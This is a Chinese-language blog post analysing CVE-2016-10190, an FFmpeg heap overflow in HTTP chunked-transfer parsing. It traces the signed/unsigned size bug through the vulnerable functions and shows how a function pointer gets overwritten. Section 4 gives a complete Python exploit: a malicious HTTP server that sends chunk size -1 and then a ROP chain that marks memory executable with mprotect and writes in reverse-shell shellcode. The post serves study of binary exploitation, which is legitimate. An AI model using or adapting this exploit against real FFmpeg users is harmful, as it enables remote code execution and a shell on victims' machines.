En

CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析及利用

作者:bird公布时间:2017-03-20阅读次数:151874评论:5

分享

1. 前言

FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文详细分析了CVE-2016-10190,是二进制安全入门学习堆溢出一个不错的案例。

调试环境:

  1. FFmpeg版本:3.2.1按照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译
  2. 操作系统:Ubuntu 16.04 x64

2. 漏洞分析

此漏洞是发生在处理HTTP流时,读取HTTP流的过程大概如下:

  1. avformat_open_input函数初始化输入文件的主要信息,其中与漏洞有关的是创建AVIOContext结构体
  2. 如果输入文件是HTTP流则调用http_open函数发起请求
  3. 调用http_read_header函数解析响应数据的头信息
  4. 解析完后调用avio_read->io_read_packet->http_read->http_read_stream函数读取之后的数据

首先看下http_read_stream函数

  1. static int http_read_stream(URLContext *h, uint8_t *buf, int size)
  2. {
  3. HTTPContext *s = h->priv_data;
  4. int err, new_location, read_ret;
  5. int64_t seek_ret;
  6. ...
  7. if (s->chunksize >= 0) {
  8. if (!s->chunksize) {
  9. char line[32];
  10. do {
  11. if ((err = http_get_line(s, line, sizeof(line))) < 0)
  12. return err;
  13. } while (!*line); /* skip CR LF from last chunk */
  14. s->chunksize = strtoll(line, NULL, 16);
  15. av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
  16. s->chunksize);
  17. if (!s->chunksize)
  18. return 0;
  19. }
  20. size = FFMIN(size, s->chunksize);
  21. }
  22. ...
  23. read_ret = http_buf_read(h, buf, size);
  24. ...
  25. return read_ret;
  26. }

上面s->chunksize = strtoll(line, NULL, 16)这一行代码是读取chunk的大小,这里调用strtoll函数返回一个有符号数,再看HTTPContext结构体

  1. typedef struct HTTPContext {
  2. const AVClass *class;
  3. URLContext *hd;
  4. unsigned char buffer[BUFFER_SIZE], *buf_ptr, *buf_end;
  5. int line_count;
  6. int http_code;
  7. /* Used if "Transfer-Encoding: chunked" otherwise -1. */
  8. int64_t chunksize;
  9. ...
  10. } HTTPContext;

可以看到chunksizeint64_t类型也是有符号数,当执行size = FFMIN(size, s->chunksize)这行代码时,由于传进来的size=0x8000,如果之前的strtoll函数返回一个负数,这样就会导致size = s->chunksize也为一个负数,之后执行到read_ret = http_buf_read(h, buf, size),看下http_buf_read函数

  1. static int http_buf_read(URLContext *h, uint8_t *buf, int size)
  2. {
  3. HTTPContext *s = h->priv_data;
  4. int len;
  5. /* read bytes from input buffer first */
  6. len = s->buf_end - s->buf_ptr;
  7. if (len > 0) {
  8. if (len > size)
  9. len = size;
  10. memcpy(buf, s->buf_ptr, len);
  11. s->buf_ptr += len;
  12. } else {
  13. int64_t target_end = s->end_off ? s->end_off : s->filesize;
  14. if ((!s->willclose || s->chunksize < 0) &&
  15. target_end >= 0 && s->off >= target_end)
  16. return AVERROR_EOF;
  17. len = ffurl_read(s->hd, buf, size);
  18. ...
  19. }
  20. ...
  21. return len;
  22. }

上面代码else分支执行到len = ffurl_read(s->hd, buf, size),而ffurl_read中又会调用tcp_read函数(函数指针的方式)来读取之后真正的数据,最后看tcp_read函数

  1. static int tcp_read(URLContext *h, uint8_t *buf, int size)
  2. {
  3. TCPContext *s = h->priv_data;
  4. int ret;
  5. if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
  6. ret = ff_network_wait_fd_timeout(s->fd, 0, h->rw_timeout, &h->interrupt_callback);
  7. if (ret)
  8. return ret;
  9. }
  10. ret = recv(s->fd, buf, size, 0);
  11. return ret < 0 ? ff_neterrno() : ret;
  12. }

当执行到ret = recv(s->fd, buf, size, 0)时,如果size为负数,recv函数会把size转换成无符号数变成一个很大的正数,而buf指向的又是堆上的空间,这样就可能导致堆溢出,如果溢出覆盖一个函数指针就可能导致远程代码执行。

3. 漏洞利用

http_read_stream函数里想要执行s->chunksize = strtoll(line, NULL, 16)需要s->chunksize >= 0,看下发送请求后http_read_header函数中解析响应数据里每个请求头的函数process_line

  1. static int process_line(URLContext *h, char *line, int line_count,
  2. int *new_location)
  3. {
  4. HTTPContext *s = h->priv_data;
  5. const char *auto_method = h->flags & AVIO_FLAG_READ ? "POST" : "GET";
  6. char *tag, *p, *end, *method, *resource, *version;
  7. int ret;
  8. /* end of header */
  9. if (line[0] == '\0') {
  10. s->end_header = 1;
  11. return 0;
  12. }
  13. p = line;
  14. if (line_count == 0) {
  15. ...
  16. } else {
  17. while (*p != '\0' && *p != ':')
  18. p++;
  19. if (*p != ':')
  20. return 1;
  21. *p = '\0';
  22. tag = line;
  23. p++;
  24. while (av_isspace(*p))
  25. p++;
  26. if (!av_strcasecmp(tag, "Location")) {
  27. if ((ret = parse_location(s, p)) < 0)
  28. return ret;
  29. *new_location = 1;
  30. } else if (!av_strcasecmp(tag, "Content-Length") && s->filesize == -1) {
  31. s->filesize = strtoll(p, NULL, 10);
  32. } else if (!av_strcasecmp(tag, "Content-Range")) {
  33. parse_content_range(h, p);
  34. } else if (!av_strcasecmp(tag, "Accept-Ranges") &&
  35. !strncmp(p, "bytes", 5) &&
  36. s->seekable == -1) {
  37. h->is_streamed = 0;
  38. } else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
  39. !av_strncasecmp(p, "chunked", 7)) {
  40. s->filesize = -1;
  41. s->chunksize = 0;
  42. }
  43. ...
  44. }
  45. return 1;
  46. }

可以看到当请求头中包含Transfer-Encoding: chunked时会把s->filesize赋值-1s->chunksize赋值0

下面看下漏洞利用的整个调试过程,先发送包含Transfer-Encoding: chunked的请求头,然后avio_read函数中会循环调用s->read_packet指向的函数指针io_read_packet读取请求头之后的数据

同时看下AVIOContext结构体参数

之后来到http_read_stream函数

可以看到s->chunksize == 0,这时服务器发送chunk的大小为-1,然后就会执行s->chunksize = strtoll(line, NULL, 16)s->chunksize赋值为-1,并在执行size = FFMIN(size, s->chunksize)后把size赋值为-1,之后来到http_buf_read函数

这里len == 0会转而执行else分支,又由于s->end_off == 0 && s->filesize == -1,这样就会执行到len = ffurl_read(s->hd, buf, size)ffurl_read中会调用tcp_read函数执行到ret = recv(s->fd, buf, size, 0)

可以看到buf的地址是0x229fd20,而之前的AVIOContext的地址为0x22a7d80,因此buf在读入0x22a7d80 - 0x229fd20 = 0x8060字节后就可以溢出到AVIOContext结构体,这里溢出覆盖它的read_packet函数指针

这样在avio_read函数中循环进行下一次读取的时候就控制了PC

最后利用成功反弹shell的演示

4. 完整EXP

根据https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6修改

  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. from time import sleep
  6. from pwn import *
  7. bind_ip = '0.0.0.0'
  8. bind_port = 12345
  9. headers = """HTTP/1.1 200 OK
  10. Server: HTTPd/0.9
  11. Date: Sun, 10 Apr 2005 20:26:47 GMT
  12. Content-Type: text/html
  13. Transfer-Encoding: chunked
  14. """
  15. elf = ELF('/home/bird/ffmpeg_sources/FFmpeg-n3.2.1/ffmpeg')
  16. shellcode_location = 0x1b28000 # require writeable -> data or bss segment...
  17. page_size = 0x1000
  18. rwx_mode = 7
  19. gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
  20. pop_rdi = gadget('pop rdi; ret')
  21. log.info("pop_rdi:%#x" % pop_rdi)
  22. pop_rsi = gadget('pop rsi; ret')
  23. log.info("pop_rsi:%#x" % pop_rsi)
  24. pop_rax = gadget('pop rax; ret')
  25. log.info("pop_rax:%#x" % pop_rax)
  26. pop_rcx = gadget('pop rcx; ret')
  27. log.info("pop_rcx:%#x" % pop_rcx)
  28. pop_rdx = gadget('pop rdx; ret')
  29. log.info("pop_rdx:%#x" % pop_rdx)
  30. pop_rbp = gadget('pop rbp; ret')
  31. log.info("pop_rbp:%#x" % pop_rbp)
  32. push_rbx = gadget('push rbx; jmp rdi')
  33. log.info("push_rbx:%#x" % push_rbx)
  34. pop_rsp = gadget('pop rsp; ret')
  35. log.info("pop_rsp:%#x" % pop_rsp)
  36. add_rsp = gadget('add rsp, 0x58')
  37. mov_gadget = gadget('mov qword ptr [rcx], rax ; ret')
  38. log.info("mov_gadget:%#x" % mov_gadget)
  39. mprotect_func = elf.plt['mprotect']
  40. log.info("mprotect_func:%#x" % mprotect_func)
  41. read_func = elf.plt['read']
  42. log.info("read_func:%#x" % read_func)
  43. def handle_request(client_socket):
  44. request = client_socket.recv(2048)
  45. print request
  46. payload = ''
  47. payload += 'C' * (0x8060)
  48. payload += p64(0x004a9929) # rop starts here -> add rsp, 0x58 ; ret
  49. payload += 'CCCCCCCC' * 4
  50. payload += p64(0x0040b839) # rdi -> pop rsp ; ret
  51. payload += p64(0x015e1df5) # call *%rax -> push rbx ; jmp rdi
  52. payload += 'BBBBBBBB' * 3
  53. payload += 'AAAA'
  54. payload += p32(0)
  55. payload += 'AAAAAAAA'
  56. payload += p64(0x004a9929) # second add_esp rop to jump to uncorrupted chunk -> add rsp, 0x58 ; ret
  57. payload += 'XXXXXXXX' * 11
  58. # real rop payload starts here
  59. #
  60. # using mprotect to create executable area
  61. payload += p64(pop_rdi)
  62. payload += p64(shellcode_location)
  63. payload += p64(pop_rsi)
  64. payload += p64(page_size)
  65. payload += p64(pop_rdx)
  66. payload += p64(rwx_mode)
  67. payload += p64(mprotect_func)
  68. # backconnect shellcode x86_64: 127.0.0.1:31337
  69. shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
  70. shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode
  71. shellslices = map(''.join, zip(*[iter(shellcode)]*8))
  72. write_location = shellcode_location - 8
  73. for shellslice in shellslices:
  74. payload += p64(pop_rax)
  75. payload += shellslice
  76. payload += p64(pop_rcx)
  77. payload += p64(write_location)
  78. payload += p64(mov_gadget)
  79. write_location += 8
  80. payload += p64(pop_rbp)
  81. payload += p64(4)
  82. payload += p64(shellcode_location)
  83. client_socket.send(headers)
  84. client_socket.send('-1\n')
  85. sleep(5)
  86. client_socket.send(payload)
  87. client_socket.close()
  88. if __name__ == '__main__':
  89. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  90. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  91. s.bind((bind_ip, bind_port))
  92. s.listen(5)
  93. filename = os.path.basename(__file__)
  94. st = os.stat(filename)
  95. while True:
  96. client_socket, addr = s.accept()
  97. handle_request(client_socket)
  98. if os.stat(filename) != st:
  99. print 'restarted'
  100. sys.exit(0)

5. 总结

此漏洞主要是由于没有正确定义有无符号数的类型导致覆盖函数指针来控制PC,微软在Windows 10中加入了CFG(Control Flow Guard)正是来缓解这种类型的攻击,此漏洞已在https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa中修复。另外对于静态编译的版本,ROP gadget较多,相对好利用,对于动态链接的版本,此漏洞在libavformat.so中,找到合适的gadget会有一定难度,但并非没有利用的可能。

6. 参考

  1. http://www.openwall.com/lists/oss-security/2017/02/02/1
  2. https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6

评论留言

提交评论 您输入的漏洞名称有误,请重新输入